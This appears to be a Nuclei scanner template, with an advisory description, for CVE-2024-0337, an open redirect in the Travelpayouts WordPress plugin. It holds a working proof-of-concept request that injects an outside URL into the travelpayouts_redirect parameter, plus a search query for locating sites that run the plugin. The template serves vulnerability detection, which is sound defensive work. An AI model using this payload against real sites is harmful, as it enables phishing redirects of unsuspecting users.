The plugin is vulnerable to Open Redirect due to insufficient validation on the travelpayouts_redirect variable. This makes it possible for unauthenticated attackers to redirect users to potentially malicious sites if they can successfully trick them into performing an action.
PoC代码[已公开]
id: CVE-2024-0337
info:
name: Travelpayouts <= 1.1.16 - Open Redirect
author: s4e-io
severity: medium
description: |
The plugin is vulnerable to Open Redirect due to insufficient validation on the travelpayouts_redirect variable. This makes it possible for unauthenticated attackers to redirect users to potentially malicious sites if they can successfully trick them into performing an action.
reference:
- https://wpscan.com/vulnerability/2f17a274-8676-4f4e-989f-436030527890/
- https://nvd.nist.gov/vuln/detail/CVE-2024-0337
classification:
cve-id: CVE-2024-0337
epss-score: 0.01763
epss-percentile: 0.81958
metadata:
verified: true
max-request: 1
publicwww-query: inurl:"/wp-content/plugins/travelpayouts"
tags: wpscan,cve,cve2024,wp,wp-plugin,wordpress,redirect,travelpayouts
http:
- method: GET
path:
- "{{BaseURL}}/?travelpayouts_redirect=https://oast.me"
redirects: true
max-redirects: 2
matchers:
- type: regex
part: header
regex:
- '(?m)^(?:Location\s*?:\s*?)(?:https?://|//)?(?:[a-zA-Z0-9\-_\.@]*)oast\.me.*$'
# digest: 490a00463044022039164c085b25edd27fa99484f933e7f654be05e3b87286e5d2cb266ece5251cc02202ec39c844090a4386b00cdd05173ef6fd181af1918faa203706578771902dc64:922c64590222798bb761d5b6d8e72950